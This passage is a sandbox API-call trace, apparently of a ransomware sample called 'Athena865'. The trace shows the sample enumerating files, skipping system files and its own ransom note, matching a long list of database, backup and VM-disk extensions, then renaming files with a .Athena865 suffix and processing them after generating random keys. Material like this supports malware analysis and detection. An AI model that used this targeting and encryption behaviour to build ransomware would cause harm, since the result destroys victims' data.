lpString2="ns3") returned 1 [0118.323] lstrlenW (lpString="ns4") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="ns4") returned 1 [0118.323] lstrlenW (lpString="nsf") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="nsf") returned 1 [0118.323] lstrlenW (lpString="nv") returned 2 [0118.323] lstrcmpiW (lpString1="lb", lpString2="nv") returned -1 [0118.323] lstrlenW (lpString="nv2") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="nv2") returned 1 [0118.323] lstrlenW (lpString="nwdb") returned 4 [0118.324] lstrcmpiW (lpString1=".tlb", lpString2="nwdb") returned -1 [0118.324] lstrlenW (lpString="nyf") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="nyf") returned 1 [0118.324] lstrlenW (lpString="odb") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="odb") returned 1 [0118.324] lstrlenW (lpString="odb") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="odb") returned 1 [0118.324] lstrlenW (lpString="oqy") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="oqy") returned 1 [0118.324] lstrlenW (lpString="ora") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="ora") returned 1 [0118.324] lstrlenW (lpString="orx") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="orx") returned 1 [0118.324] lstrlenW (lpString="owc") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="owc") returned 1 [0118.324] lstrlenW (lpString="p96") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="p96") returned 1 [0118.324] lstrlenW (lpString="p97") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="p97") returned 1 [0118.324] lstrlenW (lpString="pan") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="pan") returned 1 [0118.324] lstrlenW (lpString="pdb") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="pdb") returned 1 [0118.324] lstrlenW (lpString="pdm") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="pdm") returned 1 [0118.324] lstrlenW (lpString="pnz") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="pnz") returned 1 [0118.324] lstrlenW (lpString="qry") returned 3 [0118.324] lstrcmpiW (lpString1="tlb", lpString2="qry") returned 1 [0118.324] lstrlenW (lpString="qvd") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="qvd") returned 1 [0118.325] lstrlenW (lpString="rbf") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="rbf") returned 1 [0118.325] lstrlenW (lpString="rctd") returned 4 [0118.325] lstrcmpiW (lpString1=".tlb", lpString2="rctd") returned -1 [0118.325] lstrlenW (lpString="rod") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="rod") returned 1 [0118.325] lstrlenW (lpString="rodx") returned 4 [0118.325] lstrcmpiW (lpString1=".tlb", lpString2="rodx") returned -1 [0118.325] lstrlenW (lpString="rpd") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="rpd") returned 1 [0118.325] lstrlenW (lpString="rsd") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="rsd") returned 1 [0118.325] lstrlenW (lpString="sas7bdat") returned 8 [0118.325] lstrcmpiW (lpString1="do20.tlb", lpString2="sas7bdat") returned -1 [0118.325] lstrlenW (lpString="sbf") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="sbf") returned 1 [0118.325] lstrlenW (lpString="scx") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="scx") returned 1 [0118.325] lstrlenW (lpString="sdb") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="sdb") returned 1 [0118.325] lstrlenW (lpString="sdc") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="sdc") returned 1 [0118.325] lstrlenW (lpString="sdf") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="sdf") returned 1 [0118.325] lstrlenW (lpString="sis") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="sis") returned 1 [0118.325] lstrlenW (lpString="spq") returned 3 [0118.325] lstrcmpiW (lpString1="tlb", lpString2="spq") returned 1 [0118.325] lstrlenW (lpString="te") returned 2 [0118.325] lstrcmpiW (lpString1="lb", lpString2="te") returned -1 [0118.326] lstrlenW (lpString="teacher") returned 7 [0118.326] lstrcmpiW (lpString1="o20.tlb", lpString2="teacher") returned -1 [0118.326] lstrlenW (lpString="tmd") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="tmd") returned -1 [0118.326] lstrlenW (lpString="tps") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="tps") returned -1 [0118.326] lstrlenW (lpString="trc") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="trc") returned -1 [0118.326] lstrlenW (lpString="trc") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="trc") returned -1 [0118.326] lstrlenW (lpString="trm") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="trm") returned -1 [0118.326] lstrlenW (lpString="udb") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="udb") returned -1 [0118.326] lstrlenW (lpString="udl") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="udl") returned -1 [0118.326] lstrlenW (lpString="usr") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="usr") returned -1 [0118.326] lstrlenW (lpString="v12") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="v12") returned -1 [0118.326] lstrlenW (lpString="vis") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="vis") returned -1 [0118.326] lstrlenW (lpString="vpd") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="vpd") returned -1 [0118.326] lstrlenW (lpString="vvv") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="vvv") returned -1 [0118.326] lstrlenW (lpString="wdb") returned 3 [0118.326] lstrcmpiW (lpString1="tlb", lpString2="wdb") returned -1 [0118.326] lstrlenW (lpString="wmdb") returned 4 [0118.326] lstrcmpiW (lpString1=".tlb", lpString2="wmdb") returned -1 [0118.327] lstrlenW (lpString="wrk") returned 3 [0118.327] lstrcmpiW (lpString1="tlb", lpString2="wrk") returned -1 [0118.327] lstrlenW (lpString="xdb") returned 3 [0118.327] lstrcmpiW (lpString1="tlb", lpString2="xdb") returned -1 [0118.327] lstrlenW (lpString="xld") returned 3 [0118.327] lstrcmpiW (lpString1="tlb", lpString2="xld") returned -1 [0118.327] lstrlenW (lpString="xmlff") returned 5 [0118.327] lstrcmpiW (lpString1="0.tlb", lpString2="xmlff") returned -1 [0118.327] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.Athena865") returned 62 [0118.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.athena865"), dwFlags=0x1) returned 1 [0118.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.329] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=69632) returned 1 [0118.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.330] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.330] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.330] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.331] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11300, lpName=0x0) returned 0x17c [0118.332] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11300) returned 0x100000 [0118.335] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.336] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.336] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.336] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.337] CloseHandle (hObject=0x17c) returned 1 [0118.337] CloseHandle (hObject=0x154) returned 1 [0118.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.338] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2=".") returned 1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="..") returned 1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="windows") returned -1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="bootmgr") returned 1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="temp") returned -1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="pagefile.sys") returned -1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="boot") returned 1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="ids.txt") returned 1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="ntuser.dat") returned -1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="perflogs") returned -1 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2="MSBuild") returned -1 [0118.338] lstrlenW (lpString="msado21.tlb") returned 11 [0118.338] lstrcpyW (in: lpString1=0x241e89a, lpString2="msado21.tlb" | out: lpString1="msado21.tlb") returned="msado21.tlb" [0118.338] lstrlenW (lpString="msado21.tlb") returned 11 [0118.338] lstrlenW (lpString="Athena865") returned 9 [0118.338] lstrcmpiW (lpString1="ado21.tlb", lpString2="Athena865") returned -1 [0118.338] lstrlenW (lpString=".dll") returned 4 [0118.338] lstrcmpiW (lpString1="msado21.tlb", lpString2=".dll") returned 1 [0118.338] lstrlenW (lpString=".lnk") returned 4 [0118.339] lstrcmpiW (lpString1="msado21.tlb", lpString2=".lnk") returned 1 [0118.339] lstrlenW (lpString=".ini") returned 4 [0118.339] lstrcmpiW (lpString1="msado21.tlb", lpString2=".ini") returned 1 [0118.339] lstrlenW (lpString=".sys") returned 4 [0118.339] lstrcmpiW (lpString1="msado21.tlb", lpString2=".sys") returned 1 [0118.339] lstrlenW (lpString="msado21.tlb") returned 11 [0118.339] lstrlenW (lpString="bak") returned 3 [0118.339] lstrcmpiW (lpString1="tlb", lpString2="bak") returned 1 [0118.339] lstrlenW (lpString="ba_") returned 3 [0118.339] lstrcmpiW (lpString1="tlb", lpString2="ba_") returned 1 [0118.339] lstrlenW (lpString="dbb") returned 3 [0118.339] lstrcmpiW (lpString1="tlb", lpString2="dbb") returned 1 [0118.339] lstrlenW (lpString="vmdk") returned 4 [0118.339] lstrcmpiW (lpString1=".tlb", lpString2="vmdk") returned -1 [0118.339] lstrlenW (lpString="rar") returned 3 [0118.339] lstrcmpiW (lpString1="tlb", lpString2="rar") returned 1 [0118.339] lstrlenW (lpString="zip") returned 3 [0118.339] lstrcmpiW (lpString1="tlb", lpString2="zip") returned -1 [0118.339] lstrlenW (lpString="tgz") returned 3 [0118.339] lstrcmpiW (lpString1="tlb", lpString2="tgz") returned 1 [0118.339] lstrlenW (lpString="vbox") returned 4 [0118.339] lstrcmpiW (lpString1=".tlb", lpString2="vbox") returned -1 [0118.339] lstrlenW (lpString="vdi") returned 3 [0118.339] lstrcmpiW (lpString1="tlb", lpString2="vdi") returned -1 [0118.339] lstrlenW (lpString="vhd") returned 3 [0118.339] lstrcmpiW (lpString1="tlb", lpString2="vhd") returned -1 [0118.339] lstrlenW (lpString="vhdx") returned 4 [0118.339] lstrcmpiW (lpString1=".tlb", lpString2="vhdx") returned -1 [0118.339] lstrlenW (lpString="avhd") returned 4 [0118.340] lstrcmpiW (lpString1=".tlb", lpString2="avhd") returned -1 [0118.340] lstrlenW (lpString="db") returned 2 [0118.340] lstrcmpiW (lpString1="lb", lpString2="db") returned 1 [0118.340] lstrlenW (lpString="db2") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="db2") returned 1 [0118.340] lstrlenW (lpString="db3") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="db3") returned 1 [0118.340] lstrlenW (lpString="dbf") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="dbf") returned 1 [0118.340] lstrlenW (lpString="mdf") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="mdf") returned 1 [0118.340] lstrlenW (lpString="mdb") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="mdb") returned 1 [0118.340] lstrlenW (lpString="sql") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="sql") returned 1 [0118.340] lstrlenW (lpString="sqlite") returned 6 [0118.340] lstrcmpiW (lpString1="21.tlb", lpString2="sqlite") returned -1 [0118.340] lstrlenW (lpString="sqlite3") returned 7 [0118.340] lstrcmpiW (lpString1="o21.tlb", lpString2="sqlite3") returned -1 [0118.340] lstrlenW (lpString="sqlitedb") returned 8 [0118.340] lstrcmpiW (lpString1="do21.tlb", lpString2="sqlitedb") returned -1 [0118.340] lstrlenW (lpString="xml") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="xml") returned -1 [0118.340] lstrlenW (lpString="$er") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="$er") returned 1 [0118.340] lstrlenW (lpString="4dd") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="4dd") returned 1 [0118.340] lstrlenW (lpString="4dl") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="4dl") returned 1 [0118.340] lstrlenW (lpString="^^^") returned 3 [0118.340] lstrcmpiW (lpString1="tlb", lpString2="^^^") returned 1 [0118.341] lstrlenW (lpString="abs") returned 3 [0118.341] lstrcmpiW (lpString1="tlb", lpString2="abs") returned 1 [0118.341] lstrlenW (lpString="abx") returned 3 [0118.341] lstrcmpiW (lpString1="tlb", lpString2="abx") returned 1 [0118.341] lstrlenW (lpString="accdb") returned 5 [0118.341] lstrcmpiW (lpString1="1.tlb", lpString2="accdb") returned -1 [0118.341] lstrlenW (lpString="accdc") returned 5 [0118.341] lstrcmpiW (lpString1="1.tlb", lpString2="accdc") returned -1 [0118.341] lstrlenW (lpString="accde") returned 5 [0118.341] lstrcmpiW (lpString1="1.tlb", lpString2="accde") returned -1 [0118.341] lstrlenW (lpString="accdr") returned 5 [0118.341] lstrcmpiW (lpString1="1.tlb", lpString2="accdr") returned -1 [0118.341] lstrlenW (lpString="accdt") returned 5 [0118.341] lstrcmpiW (lpString1="1.tlb", lpString2="accdt") returned -1 [0118.341] lstrlenW (lpString="accdw") returned 5 [0118.341] lstrcmpiW (lpString1="1.tlb", lpString2="accdw") returned -1 [0118.341] lstrlenW (lpString="accft") returned 5 [0118.341] lstrcmpiW (lpString1="1.tlb", lpString2="accft") returned -1 [0118.341] lstrlenW (lpString="adb") returned 3 [0118.341] lstrcmpiW (lpString1="tlb", lpString2="adb") returned 1 [0118.341] lstrlenW (lpString="adb") returned 3 [0118.341] lstrcmpiW (lpString1="tlb", lpString2="adb") returned 1 [0118.341] lstrlenW (lpString="ade") returned 3 [0118.341] lstrcmpiW (lpString1="tlb", lpString2="ade") returned 1 [0118.341] lstrlenW (lpString="adf") returned 3 [0118.341] lstrcmpiW (lpString1="tlb", lpString2="adf") returned 1 [0118.341] lstrlenW (lpString="adn") returned 3 [0118.341] lstrcmpiW (lpString1="tlb", lpString2="adn") returned 1 [0118.341] lstrlenW (lpString="adp") returned 3 [0118.341] lstrcmpiW (lpString1="tlb", lpString2="adp") returned 1 [0118.342] lstrlenW (lpString="alf") returned 3 [0118.342] lstrcmpiW (lpString1="tlb", lpString2="alf") returned 1 [0118.342] lstrlenW (lpString="ask") returned 3 [0118.342] lstrcmpiW (lpString1="tlb", lpString2="ask") returned 1 [0118.342] lstrlenW (lpString="btr") returned 3 [0118.342] lstrcmpiW (lpString1="tlb", lpString2="btr") returned 1 [0118.342] lstrlenW (lpString="cat") returned 3 [0118.342] lstrcmpiW (lpString1="tlb", lpString2="cat") returned 1 [0118.342] lstrlenW (lpString="cdb") returned 3 [0118.342] lstrcmpiW (lpString1="tlb", lpString2="cdb") returned 1 [0118.342] lstrlenW (lpString="ckp") returned 3 [0118.342] lstrcmpiW (lpString1="tlb", lpString2="ckp") returned 1 [0118.342] lstrlenW (lpString="cma") returned 3 [0118.342] lstrcmpiW (lpString1="tlb", lpString2="cma") returned 1 [0118.342] lstrlenW (lpString="cpd") returned 3 [0118.342] lstrcmpiW (lpString1="tlb", lpString2="cpd") returned 1 [0118.342] lstrlenW (lpString="dacpac") returned 6 [0118.342] lstrcmpiW (lpString1="21.tlb", lpString2="dacpac") returned -1 [0118.342] lstrlenW (lpString="dad") returned 3 [0118.342] lstrcmpiW (lpString1="tlb", lpString2="dad") returned 1 [0118.342] lstrlenW (lpString="dadiagrams") returned 10 [0118.342] lstrcmpiW (lpString1="sado21.tlb", lpString2="dadiagrams") returned 1 [0118.342] lstrlenW (lpString="daschema") returned 8 [0118.342] lstrcmpiW (lpString1="do21.tlb", lpString2="daschema") returned 1 [0118.342] lstrlenW (lpString="db-journal") returned 10 [0118.342] lstrcmpiW (lpString1="sado21.tlb", lpString2="db-journal") returned 1 [0118.342] lstrlenW (lpString="db-shm") returned 6 [0118.342] lstrcmpiW (lpString1="21.tlb", lpString2="db-shm") returned -1 [0118.342] lstrlenW (lpString="db-wal") returned 6 [0118.342] lstrcmpiW (lpString1="21.tlb", lpString2="db-wal") returned -1 [0118.343] lstrlenW (lpString="dbc") returned 3 [0118.343] lstrcmpiW (lpString1="tlb", lpString2="dbc") returned 1 [0118.343] lstrlenW (lpString="dbs") returned 3 [0118.343] lstrcmpiW (lpString1="tlb", lpString2="dbs") returned 1 [0118.343] lstrlenW (lpString="dbt") returned 3 [0118.343] lstrcmpiW (lpString1="tlb", lpString2="dbt") returned 1 [0118.343] lstrlenW (lpString="dbv") returned 3 [0118.343] lstrcmpiW (lpString1="tlb", lpString2="dbv") returned 1 [0118.343] lstrlenW (lpString="dbx") returned 3 [0118.343] lstrcmpiW (lpString1="tlb", lpString2="dbx") returned 1 [0118.343] lstrlenW (lpString="dcb") returned 3 [0118.343] lstrcmpiW (lpString1="tlb", lpString2="dcb") returned 1 [0118.343] lstrcmpiW (lpString1="tlb", lpString2="dct") returned 1 [0118.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.Athena865") returned 62 [0118.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.athena865"), dwFlags=0x1) returned 1 [0118.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.344] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=73728) returned 1 [0118.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.345] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.346] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.346] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.346] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12300, lpName=0x0) returned 0x17c [0118.347] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12300) returned 0x100000 [0118.350] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.350] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.351] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.351] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.352] CloseHandle (hObject=0x17c) returned 1 [0118.352] CloseHandle (hObject=0x154) returned 1 [0118.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.353] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2=".") returned 1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="..") returned 1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="windows") returned -1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="bootmgr") returned 1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="temp") returned -1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="pagefile.sys") returned -1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="boot") returned 1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="ids.txt") returned 1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="ntuser.dat") returned -1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="perflogs") returned -1 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2="MSBuild") returned -1 [0118.353] lstrlenW (lpString="msado25.tlb") returned 11 [0118.353] lstrcpyW (in: lpString1=0x241e89a, lpString2="msado25.tlb" | out: lpString1="msado25.tlb") returned="msado25.tlb" [0118.353] lstrlenW (lpString="msado25.tlb") returned 11 [0118.353] lstrlenW (lpString="Athena865") returned 9 [0118.353] lstrcmpiW (lpString1="ado25.tlb", lpString2="Athena865") returned -1 [0118.353] lstrlenW (lpString=".dll") returned 4 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2=".dll") returned 1 [0118.353] lstrlenW (lpString=".lnk") returned 4 [0118.353] lstrcmpiW (lpString1="msado25.tlb", lpString2=".lnk") returned 1 [0118.354] lstrlenW (lpString=".ini") returned 4 [0118.354] lstrcmpiW (lpString1="msado25.tlb", lpString2=".ini") returned 1 [0118.354] lstrlenW (lpString=".sys") returned 4 [0118.354] lstrcmpiW (lpString1="msado25.tlb", lpString2=".sys") returned 1 [0118.354] lstrlenW (lpString="msado25.tlb") returned 11 [0118.354] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.Athena865") returned 62 [0118.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), lpNewFileName="C:\\Program Files\\Common 